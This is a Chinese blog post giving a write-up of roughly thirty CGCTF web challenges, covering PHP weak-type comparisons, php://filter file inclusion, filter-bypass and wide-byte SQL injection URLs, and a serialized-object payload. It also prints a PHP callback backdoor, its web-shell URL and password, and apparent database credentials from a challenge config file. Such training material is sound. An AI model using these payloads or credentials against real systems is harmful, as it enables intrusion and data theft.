美文网首页ctf
CGCTF Web-Writeup

CGCTF Web-Writeup

作者: ch3ckr | 来源:发表于2018-02-23 13:14 被阅读1918次

    抽空整理了一下CGCTF平台的Web题的writeup。

    0x01 签到题(题目地址:http://chinalover.sinaapp.com/web1/)

    签到题,源码可以获取flag。

    0x02 md5 collision(题目地址:http://chinalover.sinaapp.com/web19/)

    题目提供了源码:

    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
    

    考察PHP弱类型,如果字符串满足0e\d+,解析为科学计数法,即结果为0。这里md5('QNKCDZO')的结果正好满足0e\d+的形式,所以以get方式传入一个md5值满足0e\d+形式的值给参数$a即可。

    0x03 签到2(题目地址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)

    签到题,修改前端input标签的maxlength的长度然后输入口令即可获取flag。

    0x04 这题不是WEB(题目地址:http://chinalover.sinaapp.com/web2/index.html)

    简单的信息隐藏,修改2.gif后缀为.txt,打开拖到末尾即可获取flag。

    0x05 层层递进(题目地址:http://chinalover.sinaapp.com/web3/)

    如题,层层递进,源码可以看到有一个SO.html,点进去,仔细看出现一个S0.html,继续点,出现了SO.htm,继续点,出现了S0.htm,继续点,出现了404.html,查看源码,可以获取flag。

    此处也可以使用burp进行爬虫,可以很快爬出上述几个文件,直接查看404.html源码可以获取flag。

    0x06 AAencode(题目地址:http://homura.cc/CGfiles/aaencode.txt)

    这题编码有点问题,直接浏览器打开好像是unicode,右键另存为aaencode.txt,打开就可以拿到正常的aaencode,拿到浏览器控制台即可执行,获取flag。

    0x07 单身二十年(题目地址:http://chinalover.sinaapp.com/web8/)

    打开题目,源码看一下,发现search_key.php,但是点击后却直接跳到no_key_is_here_forever.php,抓包看一下就可以获取flag。

    0x08 php decode(题目地址:无)

    给了一个类似编码的shell,要解码。

    <?php
    function CLsI($ZzvSWE) {
        $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
        for ($i = 0; $i < strlen($ZzvSWE); $i++) {
            $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
        }
        return $ZzvSWE;
    }
    eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
    ?>
    

    直接执行会报eval语法错误,那么我们改成echo输出一下看解码后的信息,可以直接获取flag。

    0x09 文件包含(题目地址:http://4.chinalover.sinaapp.com/web7/index.php)

    如题,文件包含,使用伪协议php://filter分别获取index.php,show.php的源码并base64解码,发现flag在index.php末尾。

    0x10 单身一百年也没用(题目地址:http://chinalover.sinaapp.com/web9/)

    跟0x07类似,抓包可以发现在响应头有flag。

    0x11 Download~!(题目地址:http://way.nuptzj.cn/web6/)

    任意文件下载,观察下载文件的链接,发现参数url的值是经过base64编码的,所以我们尝试下载其他文件,在download.php发现包含了hereiskey.php,直接下载之可以获取flag。

    0x12 COOKIE(题目地址:http://chinalover.sinaapp.com/web10/index.php)

    抓包,修改cookie为1即可获取flag。

    0x13 MYSQL(题目地址:http://chinalover.sinaapp.com/web11/)

    提示robots.txt,给了源码:

    别太开心,flag不在这,这个文件的用途你看完了?
    在CTF比赛中,这个文件往往存放着提示信息
    
    TIP:sql.php
    
    <?php
    if($_GET[id]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $id = intval($_GET[id]);
      $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
      if ($_GET[id]==1024) {
          echo "<p>no! try again</p>";
      }
      else{
        echo($query[content]);
      }
    }
    ?>
    

    很明显考的是intval()的用法,php官网说的是获取变量的整数值,所以这里只需要给参数id传入一个整数位为1024,小数位随便一个不为0的值即可绕过验证获取flag。

    0x14 GBK Injection(题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1)

    宽字节注入,没有任何过滤。注入语句如下:

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27+union+select+1,database()--+
    sae-chinalover
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
    ctf,ctf2,ctf3,ctf4,news
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
    id,flag
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select flag from ctf4)--+
    nctf{gbk_3sqli}
    
    0x15 /x00(题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php)

    给了源代码:

    if (isset ($_GET['nctf'])) {
       if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
       else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
    else
       echo '骚年,继续努力吧啊~';
        }
    

    本题需要绕过ereg()函数,有两种方法:

    法一:数组绕过
    index.php?nctf[]=#biubiubiu
    法二:\x00截断
    index.php?nctf=1%00%23biubiubiu
    
    0x16 bypass again(题目地址:http://chinalover.sinaapp.com/web17/index.php)

    题目给了源码:

    if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
    die('Flag: '.$flag);
    else
    print 'Wrong.';
    }
    

    跟0x02一样的。index.php?a=240610708&b=QNKCDZO

    另外,md5(array)的值为空,所以另一种解法为:index.php?a[]=&b[]=1

    0x17 变量覆盖(题目地址:无)

    题目给了代码:

    <?php
    include("secret.php");
    ?>
    
    <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
    
    <?php
    extract($_POST);
    if ($pass == $thepassword_123) { ?>
    <div class="alert alert-success">
        <code><?php echo $theflag; ?></code>
    </div>
    <?php } ?>
    <?php } ?>  
    

    典型的变量覆盖,extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可获取flag。

    0x18 PHP是世界上最好的语言(题目地址:http://way.nuptzj.cn/php/index.php)

    给了源码:

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    <br><br>
    Can you authenticate to this website?
    

    绕过eregi()函数与ereg()函数一样,由于$_GET 会自动对参数调用 urldecode,此处需要urlencode两次,再进行提交即可获取flag。

    0x19 伪装者(题目地址:http://chinalover.sinaapp.com/web4/xxx.php)

    加了X-forwarded-for也没用,加了referer也没用,有点奇怪。。

    0x20 Header(题目地址:http://way.nuptzj.cn/web5/)

    根据提示查看响应头,可以发现flag。

    0x21 上传绕过(题目地址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html)

    00截断上传。

    0x22 SQL注入1(题目地址:http://chinalover.sinaapp.com/index.php)

    给了源代码:

    <?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
    ?>
    

    本题主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。
    post以下内容:user=admin')-- -&pass=123或user=admin')#&pass=123

    0x23 pass check(题目地址:http://chinalover.sinaapp.com/web21/)

    给了代码:

    $pass=@$_POST['pass'];
    $pass1=***********;//被隐藏起来的密码
    if(isset($pass))
    {
    if(@!strcmp($pass,$pass1)){
    echo "flag:nctf{*}";
    }else{
    echo "the pass is wrong!";
    }
    }else{
    echo "please input pass!";
    }
    ?>
    

    考察strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag

    0x24 起名字真难(题目地址:无)

    给了源码:

    <?php
    function noother_says_correct($number)
    {
           $one = ord('1');
           $nine = ord('9');
           for ($i = 0; $i < strlen($number); $i++)
           {   
                   $digit = ord($number{$i});
                   if ( ($digit >= $one) && ($digit <= $nine) )
                   {
                           return false;
                   }
           }
              return $number == '54975581388';
    }
    $flag='*******';
    if(noother_says_correct($_GET['key']))
       echo $flag;
    else 
       echo 'access denied';
    ?>
    

    源码要求不能传入1-9的数字,但跟54975581388要相等,这里我们可以转换一下进制,传入0xccccccccc即可获取flag。

    0x25 密码重置(题目地址:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==)

    将user参数改为admin,将url的user1参数改成admin的base64编码传入即可获取flag。

    0x26 php 反序列化(暂时无法做)(题目地址:无)

    代码如下:

    <?php
    class just4fun {
        var $enter;
        var $secret;
    }
    
    if (isset($_GET['pass'])) {
        $pass = $_GET['pass'];
        
        if(get_magic_quotes_gpc()){
            $pass=stripslashes($pass);
        }
        
        $o = unserialize($pass);
        
        if ($o) {
            $o->secret = "*";
            if ($o->secret === $o->enter)
                echo "Congratulation! Here is my secret: ".$o->secret;
            else 
                echo "Oh no... You can't fool me";
        }
        else echo "are you trolling?";
    ?>
    

    本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
    这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
    我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。
    产生payload的代码:

    <?php
    class just4fun {
        var $enter;
        var $secret;
    }
    
    $JuH0n = new just4fun();
    $JuH0n -> enter = &$JuH0n -> secret;
    $pass = serialize($JuH0n);
    print_r($pass);
    ?>
    
    0x27 SQL Injection(题目地址:http://chinalover.sinaapp.com/web15/index.php)

    源码如下:

    <!--
    #GOAL: login as admin,then get the flag;
    error_reporting(0);
    require 'db.inc.php';
    
    function clean($str){
        if(get_magic_quotes_gpc()){
            $str=stripslashes($str);
        }
        return htmlentities($str, ENT_QUOTES);
    }
    
    $username = @clean((string)$_GET['username']);
    $password = @clean((string)$_GET['password']);
    
    $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
    $result=mysql_query($query);
    if(!$result || mysql_num_rows($result) < 1){
        die('Invalid password!');
    }
    
    echo $flag;
    -->
    

    代码中clean()函数去掉转义,htmlentities($str, ENT_QUOTES)会转换单引号和双引号。这里我们只能通过引入反斜杠,转义原有的单引号,改变原sql语句的逻辑,导致sql注入。
    payload如下:?username=\&password=%20or%201%23
    最终sql语句为

    SELECT * FROM users WHERE
    name='\' AND pass=' 
    or 1
    #'
    
    0x28 综合题(题目地址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)
    1. 打开链接得到一段jsfuck,丢控制台运行得到1bc29b36f623ba82aaf6724fd3b16718.php
    2. 访问,在HTTP响应头得到提示tip:history of bash;
    3. 访问/.bash_history,得到压缩命令:zip -r flagbak.zip ./*
    4. 根据压缩文件名下载得到flag
    0x29 system(暂时无法做)(题目地址:无)
    0x30 SQL注入2(题目地址:http://4.chinalover.sinaapp.com/web6/index.php)

    关键代码:

    <?php
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    ?>
    

    这道题可以直接通过参数user注出admin的密码,然后登陆拿flag,也可以直接按照出题者的意图,通过union查询来绕过。

    当union前面的语句查询不成功的时候会执行后面的语句,所以构造下面的payload:user=' union select '0a7218bcb617e2f64ff5b07415e43f49&pass=JuH0n即可登陆成功,其中0a7218bcb617e2f64ff5b07415e43f49为``JuH0n`的md5值。

    0x31 综合题2(题目地址:http://cms.nuptzj.cn/)

    简单收集一下信息可以得到一下文件结构:

    about.php?file=sm.txt
    index.php?page=1
    preview.php
    say.php
    so.php
    config.php  存放数据库信息
    passencode.php
    antiinject.php
    
    admin表结构 create table admin ( id integer, username text, userpass text, )
    
    #下面文件由后续操作获得
    antixss.php  //通过伪协议发现
    conpass.php  //通过伪协议发现
    
    

    about.php?file=sm.txt猜测文件包含,通过php://filter伪协议可以读取上述文件(除了config)的源码。
    about.php源码如下:

    <?php
    $file = $_GET['file'];
    if ($file == "" || strstr($file, 'config.php')) {
        echo "file参数不能为空!";
        exit();
    } else {
        $cut = strchr($file, "loginxlcteam");
        if ($cut == false) {
            $data = file_get_contents($file);
            $date = htmlspecialchars($data);
            echo $date;
        } else {
            echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
        }
    }
    

    发现存在目录loginxlcteam/,访问发现是后台,我们想办法登陆后台,测试不同用户名发现存在admin用户,但是密码好像没办法猜测或者通过注入登陆框获得,我们找其他注入点,分析其他文件。
    so.php源码:

    <?php
    if ($_SERVER['HTTP_USER_AGENT'] != "Xlcteam Browser") {
        echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
        exit();
    }
    $id = $_POST['soid'];
    include 'config.php';
    include 'antiinject.php';
    include 'antixss.php';
    $id = antiinject($id);
    $con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
    mysql_select_db($db_name, $con);
    $id = mysql_real_escape_string($id);
    $result = mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
    $rs = mysql_fetch_array($result);
    echo htmlspecialchars($rs['nice']) . ':<br />    ' . antixss($rs['say']) . '<br />';
    mysql_free_result($result);
    mysql_free_result($file);
    mysql_close($con);
    ?>
    

    antiinject.php源码:

    <?php
    function antiinject($content) {
        $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
        $info = strtolower($content);
        for ($i = 0;$i <= count($keyword);$i++) {
            $info = str_replace($keyword[$i], '', $info);
        }
        return $info;
    }
    ?>
    

    可以发现,

    1. 验证$_SERVER['HTTP_USER_AGENT']字段是否为Xlcteam Browser
    2. so.php的参数为整数型,并且通过antiinject.php进行防注入
    3. antiinject.php只是将关键字替换为空

    所以我们可以这样绕过:

    1. 抓包,添加User-Agent字段
    2. 双写绕过关键字过滤,/**/可代替空格
      3.使用union联合查询,结合admin表的结构直接查出admin的密码

    payload如下:

    soid=1/**/a=nd/**/0/**/uni=on/**/se=lect/**/1,(se=lect/**/group_concat(userpa=ss)/**/fr=om/**/adm=in),3,4
    

    通过登陆我们获得了一个后门(回调后门)的文件名xlcteam.php,使用伪协议读取源码。
    xlcteam.php 源码:

    <?php
    $e = $_REQUEST['www'];
    $arr = array($_POST['wtf'] => '|.*|e',);
    array_walk($arr, $e, '');
    ?>
    

    参考P神的文章,直接使用菜刀链接可以找到flag。

    URL:http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
    密码:wtf
    

    此题到此结束,但同时可以读取到config.php的内容,连接上去可以操作数据库。。

    <?php
    $db_address = 'ctf.nuptzj.cn';
    $db_user = 'sae-exploitblog';
    $db_pass = 'asdfqwer';
    $db_name = 'sae-exploitblog';
    ?>
    
    0x32 密码重置2(题目地址:http://nctf.nuptzj.cn/web14/index.php)

    TIPS:
    1.管理员邮箱观察一下就可以找到
    2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
    3.弱类型bypass

    通过页面源码可以找到管理员邮箱admin@nuptzj.cn
    访问.submit.php.swp得到submit.php源代码。

    ........这一行是省略的代码........
    
    /*
    如果登录邮箱地址不是管理员则 die()
    数据库结构
    
    --
    -- 表的结构 `user`
    --
    
    CREATE TABLE IF NOT EXISTS `user` (
      `id` int(11) NOT NULL AUTO_INCREMENT,
      `username` varchar(255) NOT NULL,
      `email` varchar(255) NOT NULL,
      `token` int(255) NOT NULL DEFAULT '0',
      PRIMARY KEY (`id`)
    ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
    
    --
    -- 转存表中的数据 `user`
    --
    
    INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
    (1, '****不可见***', '***不可见***', 0);
    */
    
    
    ........这一行是省略的代码........
    
    if(!empty($token)&&!empty($emailAddress)){
        if(strlen($token)!=10) die('fail');
        if($token!='0') die('fail');
        $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
        $r = mysql_query($sql) or die('db error');
        $r = mysql_fetch_assoc($r);
        $r = $r['num'];
        if($r>0){
            echo $flag;
        }else{
            echo "失败了呀";
        }
    }
    

    源码要求token的长度为10并且token的值为0,我们可以利用0e\d+的值为0的知识点,也可以直接传入0000000000,这样就可以绕过而获取flag。

    0x33 file_get_contents(题目地址:erhttp://chinalover.sinaapp.com/web23/)

    给了源码:

    <!--$file = $_GET['file'];
    if(@file_get_contents($file) == "meizijiu"){
        echo $nctf;
    }-->
    

    此处可以通过伪协议php://input访问请求的原始数据的只读流。

    0x34 变量覆盖(题目地址:http://chinalover.sinaapp.com/web24/)

    变量覆盖,代码审计类题目

    源码:

    <!--foreach($_GET as $key => $value){  
            $$key = $value;  
    }  
    if($name == "meizijiu233"){
        echo $flag;
    }-->
    

    只考了一个知识点,$$变量覆盖。给参数name赋值meizijiu233就可以直接覆盖掉name参数原来的值了。

    相关文章

      网友评论

        本文标题:CGCTF Web-Writeup

        本文链接:https://www.haomeiwen.com/subject/uppatftx.html